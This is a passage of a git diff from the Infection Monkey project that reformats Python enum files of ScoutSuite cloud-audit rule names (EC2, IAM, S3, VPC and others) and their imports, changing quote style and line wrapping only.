+ EC2_INSTANCE_WITH_USER_DATA_SECRETS = "ec2-instance-with-user-data-secrets"
# Permissive policies
- AMI_PUBLIC = 'ec2-ami-public'
- EC2_DEFAULT_SECURITY_GROUP_IN_USE = 'ec2-default-security-group-in-use'
- EC2_DEFAULT_SECURITY_GROUP_WITH_RULES = 'ec2-default-security-group-with-rules'
- EC2_EBS_SNAPSHOT_PUBLIC = 'ec2-ebs-snapshot-public'
+ AMI_PUBLIC = "ec2-ami-public"
+ EC2_DEFAULT_SECURITY_GROUP_IN_USE = "ec2-default-security-group-in-use"
+ EC2_DEFAULT_SECURITY_GROUP_WITH_RULES = "ec2-default-security-group-with-rules"
+ EC2_EBS_SNAPSHOT_PUBLIC = "ec2-ebs-snapshot-public"
diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/elb_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/elb_rules.py
index 0d1d4e5d9..c4fad62ec 100644
--- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/elb_rules.py
+++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/elb_rules.py
@@ -1,10 +1,12 @@
-from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum
+from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import (
+ RuleNameEnum,
+)
class ELBRules(RuleNameEnum):
# Logging
- ELB_NO_ACCESS_LOGS = 'elb-no-access-logs'
+ ELB_NO_ACCESS_LOGS = "elb-no-access-logs"
# Encryption
- ELB_LISTENER_ALLOWING_CLEARTEXT = 'elb-listener-allowing-cleartext'
- ELB_OLDER_SSL_POLICY = 'elb-older-ssl-policy'
+ ELB_LISTENER_ALLOWING_CLEARTEXT = "elb-listener-allowing-cleartext"
+ ELB_OLDER_SSL_POLICY = "elb-older-ssl-policy"
diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/elbv2_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/elbv2_rules.py
index f7a264cf3..90590a651 100644
--- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/elbv2_rules.py
+++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/elbv2_rules.py
@@ -1,16 +1,18 @@
-from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum
+from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import (
+ RuleNameEnum,
+)
class ELBv2Rules(RuleNameEnum):
# Encryption
- ELBV2_LISTENER_ALLOWING_CLEARTEXT = 'elbv2-listener-allowing-cleartext'
- ELBV2_OLDER_SSL_POLICY = 'elbv2-older-ssl-policy'
+ ELBV2_LISTENER_ALLOWING_CLEARTEXT = "elbv2-listener-allowing-cleartext"
+ ELBV2_OLDER_SSL_POLICY = "elbv2-older-ssl-policy"
# Logging
- ELBV2_NO_ACCESS_LOGS = 'elbv2-no-access-logs'
+ ELBV2_NO_ACCESS_LOGS = "elbv2-no-access-logs"
# Data loss prevention
- ELBV2_NO_DELETION_PROTECTION = 'elbv2-no-deletion-protection'
+ ELBV2_NO_DELETION_PROTECTION = "elbv2-no-deletion-protection"
# Service security
- ELBV2_HTTP_REQUEST_SMUGGLING = 'elbv2-http-request-smuggling'
+ ELBV2_HTTP_REQUEST_SMUGGLING = "elbv2-http-request-smuggling"
diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/iam_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/iam_rules.py
index fef58e066..8589446bb 100644
--- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/iam_rules.py
+++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/iam_rules.py
@@ -1,39 +1,41 @@
-from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum
+from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import (
+ RuleNameEnum,
+)
class IAMRules(RuleNameEnum):
# Authentication/authorization
- IAM_USER_NO_ACTIVE_KEY_ROTATION = 'iam-user-no-Active-key-rotation'
- IAM_PASSWORD_POLICY_MINIMUM_LENGTH = 'iam-password-policy-minimum-length'
- IAM_PASSWORD_POLICY_NO_EXPIRATION = 'iam-password-policy-no-expiration'
- IAM_PASSWORD_POLICY_REUSE_ENABLED = 'iam-password-policy-reuse-enabled'
- IAM_USER_WITH_PASSWORD_AND_KEY = 'iam-user-with-password-and-key'
- IAM_ASSUME_ROLE_LACKS_EXTERNAL_ID_AND_MFA = 'iam-assume-role-lacks-external-id-and-mfa'
- IAM_USER_WITHOUT_MFA = 'iam-user-without-mfa'
- IAM_ROOT_ACCOUNT_NO_MFA = 'iam-root-account-no-mfa'
- IAM_ROOT_ACCOUNT_WITH_ACTIVE_KEYS = 'iam-root-account-with-active-keys'
- IAM_USER_NO_INACTIVE_KEY_ROTATION = 'iam-user-no-Inactive-key-rotation'
- IAM_USER_WITH_MULTIPLE_ACCESS_KEYS = 'iam-user-with-multiple-access-keys'
+ IAM_USER_NO_ACTIVE_KEY_ROTATION = "iam-user-no-Active-key-rotation"
+ IAM_PASSWORD_POLICY_MINIMUM_LENGTH = "iam-password-policy-minimum-length"
+ IAM_PASSWORD_POLICY_NO_EXPIRATION = "iam-password-policy-no-expiration"
+ IAM_PASSWORD_POLICY_REUSE_ENABLED = "iam-password-policy-reuse-enabled"
+ IAM_USER_WITH_PASSWORD_AND_KEY = "iam-user-with-password-and-key"
+ IAM_ASSUME_ROLE_LACKS_EXTERNAL_ID_AND_MFA = "iam-assume-role-lacks-external-id-and-mfa"
+ IAM_USER_WITHOUT_MFA = "iam-user-without-mfa"
+ IAM_ROOT_ACCOUNT_NO_MFA = "iam-root-account-no-mfa"
+ IAM_ROOT_ACCOUNT_WITH_ACTIVE_KEYS = "iam-root-account-with-active-keys"
+ IAM_USER_NO_INACTIVE_KEY_ROTATION = "iam-user-no-Inactive-key-rotation"
+ IAM_USER_WITH_MULTIPLE_ACCESS_KEYS = "iam-user-with-multiple-access-keys"
# Least privilege
- IAM_ASSUME_ROLE_POLICY_ALLOWS_ALL = 'iam-assume-role-policy-allows-all'
- IAM_EC2_ROLE_WITHOUT_INSTANCES = 'iam-ec2-role-without-instances'
- IAM_GROUP_WITH_INLINE_POLICIES = 'iam-group-with-inline-policies'
- IAM_GROUP_WITH_NO_USERS = 'iam-group-with-no-users'
- IAM_INLINE_GROUP_POLICY_ALLOWS_IAM_PASSROLE = 'iam-inline-group-policy-allows-iam-PassRole'
- IAM_INLINE_GROUP_POLICY_ALLOWS_NOTACTIONS = 'iam-inline-group-policy-allows-NotActions'
- IAM_INLINE_GROUP_POLICY_ALLOWS_STS_ASSUMEROLE = 'iam-inline-group-policy-allows-sts-AssumeRole'
- IAM_INLINE_ROLE_POLICY_ALLOWS_IAM_PASSROLE = 'iam-inline-role-policy-allows-iam-PassRole'
- IAM_INLINE_ROLE_POLICY_ALLOWS_NOTACTIONS = 'iam-inline-role-policy-allows-NotActions'
- IAM_INLINE_ROLE_POLICY_ALLOWS_STS_ASSUMEROLE = 'iam-inline-role-policy-allows-sts-AssumeRole'
- IAM_INLINE_USER_POLICY_ALLOWS_IAM_PASSROLE = 'iam-inline-user-policy-allows-iam-PassRole'
- IAM_INLINE_USER_POLICY_ALLOWS_NOTACTIONS = 'iam-inline-user-policy-allows-NotActions'
- IAM_INLINE_USER_POLICY_ALLOWS_STS_ASSUMEROLE = 'iam-inline-user-policy-allows-sts-AssumeRole'
- IAM_MANAGED_POLICY_ALLOWS_IAM_PASSROLE = 'iam-managed-policy-allows-iam-PassRole'
- IAM_MANAGED_POLICY_ALLOWS_NOTACTIONS = 'iam-managed-policy-allows-NotActions'
- IAM_MANAGED_POLICY_ALLOWS_STS_ASSUMEROLE = 'iam-managed-policy-allows-sts-AssumeRole'
- IAM_MANAGED_POLICY_NO_ATTACHMENTS = 'iam-managed-policy-no-attachments'
- IAM_ROLE_WITH_INLINE_POLICIES = 'iam-role-with-inline-policies'
- IAM_ROOT_ACCOUNT_USED_RECENTLY = 'iam-root-account-used-recently'
- IAM_ROOT_ACCOUNT_WITH_ACTIVE_CERTS = 'iam-root-account-with-active-certs'
- IAM_USER_WITH_INLINE_POLICIES = 'iam-user-with-inline-policies'
+ IAM_ASSUME_ROLE_POLICY_ALLOWS_ALL = "iam-assume-role-policy-allows-all"
+ IAM_EC2_ROLE_WITHOUT_INSTANCES = "iam-ec2-role-without-instances"
+ IAM_GROUP_WITH_INLINE_POLICIES = "iam-group-with-inline-policies"
+ IAM_GROUP_WITH_NO_USERS = "iam-group-with-no-users"
+ IAM_INLINE_GROUP_POLICY_ALLOWS_IAM_PASSROLE = "iam-inline-group-policy-allows-iam-PassRole"
+ IAM_INLINE_GROUP_POLICY_ALLOWS_NOTACTIONS = "iam-inline-group-policy-allows-NotActions"
+ IAM_INLINE_GROUP_POLICY_ALLOWS_STS_ASSUMEROLE = "iam-inline-group-policy-allows-sts-AssumeRole"
+ IAM_INLINE_ROLE_POLICY_ALLOWS_IAM_PASSROLE = "iam-inline-role-policy-allows-iam-PassRole"
+ IAM_INLINE_ROLE_POLICY_ALLOWS_NOTACTIONS = "iam-inline-role-policy-allows-NotActions"
+ IAM_INLINE_ROLE_POLICY_ALLOWS_STS_ASSUMEROLE = "iam-inline-role-policy-allows-sts-AssumeRole"
+ IAM_INLINE_USER_POLICY_ALLOWS_IAM_PASSROLE = "iam-inline-user-policy-allows-iam-PassRole"
+ IAM_INLINE_USER_POLICY_ALLOWS_NOTACTIONS = "iam-inline-user-policy-allows-NotActions"
+ IAM_INLINE_USER_POLICY_ALLOWS_STS_ASSUMEROLE = "iam-inline-user-policy-allows-sts-AssumeRole"
+ IAM_MANAGED_POLICY_ALLOWS_IAM_PASSROLE = "iam-managed-policy-allows-iam-PassRole"
+ IAM_MANAGED_POLICY_ALLOWS_NOTACTIONS = "iam-managed-policy-allows-NotActions"
+ IAM_MANAGED_POLICY_ALLOWS_STS_ASSUMEROLE = "iam-managed-policy-allows-sts-AssumeRole"
+ IAM_MANAGED_POLICY_NO_ATTACHMENTS = "iam-managed-policy-no-attachments"
+ IAM_ROLE_WITH_INLINE_POLICIES = "iam-role-with-inline-policies"
+ IAM_ROOT_ACCOUNT_USED_RECENTLY = "iam-root-account-used-recently"
+ IAM_ROOT_ACCOUNT_WITH_ACTIVE_CERTS = "iam-root-account-with-active-certs"
+ IAM_USER_WITH_INLINE_POLICIES = "iam-user-with-inline-policies"
diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/rds_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/rds_rules.py
index b303c8573..db8e2602b 100644
--- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/rds_rules.py
+++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/rds_rules.py
@@ -1,19 +1,21 @@
-from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum
+from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import (
+ RuleNameEnum,
+)
class RDSRules(RuleNameEnum):
# Encryption
- RDS_INSTANCE_STORAGE_NOT_ENCRYPTED = 'rds-instance-storage-not-encrypted'
+ RDS_INSTANCE_STORAGE_NOT_ENCRYPTED = "rds-instance-storage-not-encrypted"
# Data loss prevention
- RDS_INSTANCE_BACKUP_DISABLED = 'rds-instance-backup-disabled'
- RDS_INSTANCE_SHORT_BACKUP_RETENTION_PERIOD = 'rds-instance-short-backup-retention-period'
- RDS_INSTANCE_SINGLE_AZ = 'rds-instance-single-az'
+ RDS_INSTANCE_BACKUP_DISABLED = "rds-instance-backup-disabled"
+ RDS_INSTANCE_SHORT_BACKUP_RETENTION_PERIOD = "rds-instance-short-backup-retention-period"
+ RDS_INSTANCE_SINGLE_AZ = "rds-instance-single-az"
# Firewalls
- RDS_SECURITY_GROUP_ALLOWS_ALL = 'rds-security-group-allows-all'
- RDS_SNAPSHOT_PUBLIC = 'rds-snapshot-public'
+ RDS_SECURITY_GROUP_ALLOWS_ALL = "rds-security-group-allows-all"
+ RDS_SNAPSHOT_PUBLIC = "rds-snapshot-public"
# Service security
- RDS_INSTANCE_CA_CERTIFICATE_DEPRECATED = 'rds-instance-ca-certificate-deprecated'
- RDS_INSTANCE_NO_MINOR_UPGRADE = 'rds-instance-no-minor-upgrade'
+ RDS_INSTANCE_CA_CERTIFICATE_DEPRECATED = "rds-instance-ca-certificate-deprecated"
+ RDS_INSTANCE_NO_MINOR_UPGRADE = "rds-instance-no-minor-upgrade"
diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/redshift_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/redshift_rules.py
index 2538cf54d..20fa6337d 100644
--- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/redshift_rules.py
+++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/redshift_rules.py
@@ -1,19 +1,21 @@
-from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum
+from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import (
+ RuleNameEnum,
+)
class RedshiftRules(RuleNameEnum):
# Encryption
- REDSHIFT_CLUSTER_DATABASE_NOT_ENCRYPTED = 'redshift-cluster-database-not-encrypted'
- REDSHIFT_PARAMETER_GROUP_SSL_NOT_REQUIRED = 'redshift-parameter-group-ssl-not-required'
+ REDSHIFT_CLUSTER_DATABASE_NOT_ENCRYPTED = "redshift-cluster-database-not-encrypted"
+ REDSHIFT_PARAMETER_GROUP_SSL_NOT_REQUIRED = "redshift-parameter-group-ssl-not-required"
# Firewalls
- REDSHIFT_SECURITY_GROUP_WHITELISTS_ALL = 'redshift-security-group-whitelists-all'
+ REDSHIFT_SECURITY_GROUP_WHITELISTS_ALL = "redshift-security-group-whitelists-all"
# Restrictive Policies
- REDSHIFT_CLUSTER_PUBLICLY_ACCESSIBLE = 'redshift-cluster-publicly-accessible'
+ REDSHIFT_CLUSTER_PUBLICLY_ACCESSIBLE = "redshift-cluster-publicly-accessible"
# Logging
- REDSHIFT_PARAMETER_GROUP_LOGGING_DISABLED = 'redshift-parameter-group-logging-disabled'
+ REDSHIFT_PARAMETER_GROUP_LOGGING_DISABLED = "redshift-parameter-group-logging-disabled"
# Service security
- REDSHIFT_CLUSTER_NO_VERSION_UPGRADE = 'redshift-cluster-no-version-upgrade'
+ REDSHIFT_CLUSTER_NO_VERSION_UPGRADE = "redshift-cluster-no-version-upgrade"
diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/s3_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/s3_rules.py
index 4ba27a57a..a57d95f7c 100644
--- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/s3_rules.py
+++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/s3_rules.py
@@ -1,29 +1,31 @@
-from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum
+from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import (
+ RuleNameEnum,
+)
class S3Rules(RuleNameEnum):
# Encryption
- S3_BUCKET_ALLOWING_CLEARTEXT = 's3-bucket-allowing-cleartext'
- S3_BUCKET_NO_DEFAULT_ENCRYPTION = 's3-bucket-no-default-encryption'
+ S3_BUCKET_ALLOWING_CLEARTEXT = "s3-bucket-allowing-cleartext"
+ S3_BUCKET_NO_DEFAULT_ENCRYPTION = "s3-bucket-no-default-encryption"
# Data loss prevention
- S3_BUCKET_NO_MFA_DELETE = 's3-bucket-no-mfa-delete'
- S3_BUCKET_NO_VERSIONING = 's3-bucket-no-versioning'
+ S3_BUCKET_NO_MFA_DELETE = "s3-bucket-no-mfa-delete"
+ S3_BUCKET_NO_VERSIONING = "s3-bucket-no-versioning"
# Logging
- S3_BUCKET_NO_LOGGING = 's3-bucket-no-logging'
+ S3_BUCKET_NO_LOGGING = "s3-bucket-no-logging"
# Permissive access rules
- S3_BUCKET_AUTHENTICATEDUSERS_WRITE_ACP = 's3-bucket-AuthenticatedUsers-write_acp'
- S3_BUCKET_AUTHENTICATEDUSERS_WRITE = 's3-bucket-AuthenticatedUsers-write'
- S3_BUCKET_AUTHENTICATEDUSERS_READ_ACP = 's3-bucket-AuthenticatedUsers-read_acp'
- S3_BUCKET_AUTHENTICATEDUSERS_READ = 's3-bucket-AuthenticatedUsers-read'
- S3_BUCKET_ALLUSERS_WRITE_ACP = 's3-bucket-AllUsers-write_acp'
- S3_BUCKET_ALLUSERS_WRITE = 's3-bucket-AllUsers-write'
- S3_BUCKET_ALLUSERS_READ_ACP = 's3-bucket-AllUsers-read_acp'
- S3_BUCKET_ALLUSERS_READ = 's3-bucket-AllUsers-read'
- S3_BUCKET_WORLD_PUT_POLICY = 's3-bucket-world-Put-policy'
- S3_BUCKET_WORLD_POLICY_STAR = 's3-bucket-world-policy-star'
- S3_BUCKET_WORLD_LIST_POLICY = 's3-bucket-world-List-policy'
- S3_BUCKET_WORLD_GET_POLICY = 's3-bucket-world-Get-policy'
- S3_BUCKET_WORLD_DELETE_POLICY = 's3-bucket-world-Delete-policy'
+ S3_BUCKET_AUTHENTICATEDUSERS_WRITE_ACP = "s3-bucket-AuthenticatedUsers-write_acp"
+ S3_BUCKET_AUTHENTICATEDUSERS_WRITE = "s3-bucket-AuthenticatedUsers-write"
+ S3_BUCKET_AUTHENTICATEDUSERS_READ_ACP = "s3-bucket-AuthenticatedUsers-read_acp"
+ S3_BUCKET_AUTHENTICATEDUSERS_READ = "s3-bucket-AuthenticatedUsers-read"
+ S3_BUCKET_ALLUSERS_WRITE_ACP = "s3-bucket-AllUsers-write_acp"
+ S3_BUCKET_ALLUSERS_WRITE = "s3-bucket-AllUsers-write"
+ S3_BUCKET_ALLUSERS_READ_ACP = "s3-bucket-AllUsers-read_acp"
+ S3_BUCKET_ALLUSERS_READ = "s3-bucket-AllUsers-read"
+ S3_BUCKET_WORLD_PUT_POLICY = "s3-bucket-world-Put-policy"
+ S3_BUCKET_WORLD_POLICY_STAR = "s3-bucket-world-policy-star"
+ S3_BUCKET_WORLD_LIST_POLICY = "s3-bucket-world-List-policy"
+ S3_BUCKET_WORLD_GET_POLICY = "s3-bucket-world-Get-policy"
+ S3_BUCKET_WORLD_DELETE_POLICY = "s3-bucket-world-Delete-policy"
diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/ses_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/ses_rules.py
index 4cb875c6d..a73e00478 100644
--- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/ses_rules.py
+++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/ses_rules.py
@@ -1,8 +1,9 @@
-from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum
+from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import (
+ RuleNameEnum,
+)
class SESRules(RuleNameEnum):
-
# Permissive policies
- SES_IDENTITY_WORLD_SENDRAWEMAIL_POLICY = 'ses-identity-world-SendRawEmail-policy'
- SES_IDENTITY_WORLD_SENDEMAIL_POLICY = 'ses-identity-world-SendEmail-policy'
+ SES_IDENTITY_WORLD_SENDRAWEMAIL_POLICY = "ses-identity-world-SendRawEmail-policy"
+ SES_IDENTITY_WORLD_SENDEMAIL_POLICY = "ses-identity-world-SendEmail-policy"
diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/sns_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/sns_rules.py
index 9fb847114..09d410239 100644
--- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/sns_rules.py
+++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/sns_rules.py
@@ -1,13 +1,14 @@
-from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum
+from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import (
+ RuleNameEnum,
+)
class SNSRules(RuleNameEnum):
-
# Permissive policies
- SNS_TOPIC_WORLD_SUBSCRIBE_POLICY = 'sns-topic-world-Subscribe-policy'
- SNS_TOPIC_WORLD_SETTOPICATTRIBUTES_POLICY = 'sns-topic-world-SetTopicAttributes-policy'
- SNS_TOPIC_WORLD_REMOVEPERMISSION_POLICY = 'sns-topic-world-RemovePermission-policy'
- SNS_TOPIC_WORLD_RECEIVE_POLICY = 'sns-topic-world-Receive-policy'
- SNS_TOPIC_WORLD_PUBLISH_POLICY = 'sns-topic-world-Publish-policy'
- SNS_TOPIC_WORLD_DELETETOPIC_POLICY = 'sns-topic-world-DeleteTopic-policy'
- SNS_TOPIC_WORLD_ADDPERMISSION_POLICY = 'sns-topic-world-AddPermission-policy'
+ SNS_TOPIC_WORLD_SUBSCRIBE_POLICY = "sns-topic-world-Subscribe-policy"
+ SNS_TOPIC_WORLD_SETTOPICATTRIBUTES_POLICY = "sns-topic-world-SetTopicAttributes-policy"
+ SNS_TOPIC_WORLD_REMOVEPERMISSION_POLICY = "sns-topic-world-RemovePermission-policy"
+ SNS_TOPIC_WORLD_RECEIVE_POLICY = "sns-topic-world-Receive-policy"
+ SNS_TOPIC_WORLD_PUBLISH_POLICY = "sns-topic-world-Publish-policy"
+ SNS_TOPIC_WORLD_DELETETOPIC_POLICY = "sns-topic-world-DeleteTopic-policy"
+ SNS_TOPIC_WORLD_ADDPERMISSION_POLICY = "sns-topic-world-AddPermission-policy"
diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/sqs_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/sqs_rules.py
index cc5c774e3..44e666f96 100644
--- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/sqs_rules.py
+++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/sqs_rules.py
@@ -1,13 +1,16 @@
-from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum
+from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import (
+ RuleNameEnum,
+)
class SQSRules(RuleNameEnum):
-
# Permissive policies
- SQS_QUEUE_WORLD_SENDMESSAGE_POLICY = 'sqs-queue-world-SendMessage-policy'
- SQS_QUEUE_WORLD_RECEIVEMESSAGE_POLICY = 'sqs-queue-world-ReceiveMessage-policy'
- SQS_QUEUE_WORLD_PURGEQUEUE_POLICY = 'sqs-queue-world-PurgeQueue-policy'
- SQS_QUEUE_WORLD_GETQUEUEURL_POLICY = 'sqs-queue-world-GetQueueUrl-policy'
- SQS_QUEUE_WORLD_GETQUEUEATTRIBUTES_POLICY = 'sqs-queue-world-GetQueueAttributes-policy'
- SQS_QUEUE_WORLD_DELETEMESSAGE_POLICY = 'sqs-queue-world-DeleteMessage-policy'
- SQS_QUEUE_WORLD_CHANGEMESSAGEVISIBILITY_POLICY = 'sqs-queue-world-ChangeMessageVisibility-policy'
+ SQS_QUEUE_WORLD_SENDMESSAGE_POLICY = "sqs-queue-world-SendMessage-policy"
+ SQS_QUEUE_WORLD_RECEIVEMESSAGE_POLICY = "sqs-queue-world-ReceiveMessage-policy"
+ SQS_QUEUE_WORLD_PURGEQUEUE_POLICY = "sqs-queue-world-PurgeQueue-policy"
+ SQS_QUEUE_WORLD_GETQUEUEURL_POLICY = "sqs-queue-world-GetQueueUrl-policy"
+ SQS_QUEUE_WORLD_GETQUEUEATTRIBUTES_POLICY = "sqs-queue-world-GetQueueAttributes-policy"
+ SQS_QUEUE_WORLD_DELETEMESSAGE_POLICY = "sqs-queue-world-DeleteMessage-policy"
+ SQS_QUEUE_WORLD_CHANGEMESSAGEVISIBILITY_POLICY = (
+ "sqs-queue-world-ChangeMessageVisibility-policy"
+ )
diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/vpc_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/vpc_rules.py
index 4dcbd4f1a..f4ecba532 100644
--- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/vpc_rules.py
+++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/vpc_rules.py
@@ -1,15 +1,17 @@
-from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum
+from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import (
+ RuleNameEnum,
+)
class VPCRules(RuleNameEnum):
# Logging
- SUBNET_WITHOUT_FLOW_LOG = 'vpc-subnet-without-flow-log'
+ SUBNET_WITHOUT_FLOW_LOG = "vpc-subnet-without-flow-log"
# Firewalls
- SUBNET_WITH_ALLOW_ALL_INGRESS_ACLS = 'vpc-subnet-with-allow-all-ingress-acls'
- SUBNET_WITH_ALLOW_ALL_EGRESS_ACLS = 'vpc-subnet-with-allow-all-egress-acls'
- NETWORK_ACL_NOT_USED = 'vpc-network-acl-not-used'
- DEFAULT_NETWORK_ACLS_ALLOW_ALL_INGRESS = 'vpc-default-network-acls-allow-all-ingress'
- DEFAULT_NETWORK_ACLS_ALLOW_ALL_EGRESS = 'vpc-default-network-acls-allow-all-egress'
- CUSTOM_NETWORK_ACLS_ALLOW_ALL_INGRESS = 'vpc-custom-network-acls-allow-all-ingress'
- CUSTOM_NETWORK_ACLS_ALLOW_ALL_EGRESS = 'vpc-custom-network-acls-allow-all-egress'
+ SUBNET_WITH_ALLOW_ALL_INGRESS_ACLS = "vpc-subnet-with-allow-all-ingress-acls"
+ SUBNET_WITH_ALLOW_ALL_EGRESS_ACLS = "vpc-subnet-with-allow-all-egress-acls"
+ NETWORK_ACL_NOT_USED = "vpc-network-acl-not-used"
+ DEFAULT_NETWORK_ACLS_ALLOW_ALL_INGRESS = "vpc-default-network-acls-allow-all-ingress"
+ DEFAULT_NETWORK_ACLS_ALLOW_ALL_EGRESS = "vpc-default-network-acls-allow-all-egress"
+ CUSTOM_NETWORK_ACLS_ALLOW_ALL_INGRESS = "vpc-custom-network-acls-allow-all-ingress"
+ CUSTOM_NETWORK_ACLS_ALLOW_ALL_EGRESS = "vpc-custom-network-acls-allow-all-egress"
diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/scoutsuite_finding_maps.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/scoutsuite_finding_maps.py
index 251e57324..ddab1cfd6 100644
--- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/scoutsuite_finding_maps.py
+++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/scoutsuite_finding_maps.py
@@ -2,17 +2,29 @@ from abc import ABC, abstractmethod
from typing import List
from common.common_consts import zero_trust_consts
-from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.cloudformation_rules import CloudformationRules
-from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.cloudtrail_rules import CloudTrailRules
-from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.cloudwatch_rules import CloudWatchRules
-from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.config_rules import ConfigRules
+from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.cloudformation_rules import (
+ CloudformationRules,
+)
+from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.cloudtrail_rules import (
+ CloudTrailRules,
+)
+from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.cloudwatch_rules import (
+ CloudWatchRules,
+)
+from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.config_rules import (
+ ConfigRules,
+)
from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.ec2_rules import EC2Rules
from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.elb_rules import ELBRules
from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.elbv2_rules import ELBv2Rules
from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.iam_rules import IAMRules
from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rds_rules import RDSRules
-from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.redshift_rules import RedshiftRules
-from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum
+from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.redshift_rules import (
+ RedshiftRules,
+)
+from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import (
+ RuleNameEnum,
+)
from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.s3_rules import S3Rules
from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.ses_rules import SESRules
from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.sns_rules import SNSRules
@@ -34,47 +46,68 @@ class ScoutSuiteFindingMap(ABC):
class PermissiveFirewallRules(ScoutSuiteFindingMap):
- rules = [EC2Rules.SECURITY_GROUP_ALL_PORTS_TO_ALL, EC2Rules.SECURITY_GROUP_OPENS_TCP_PORT_TO_ALL,
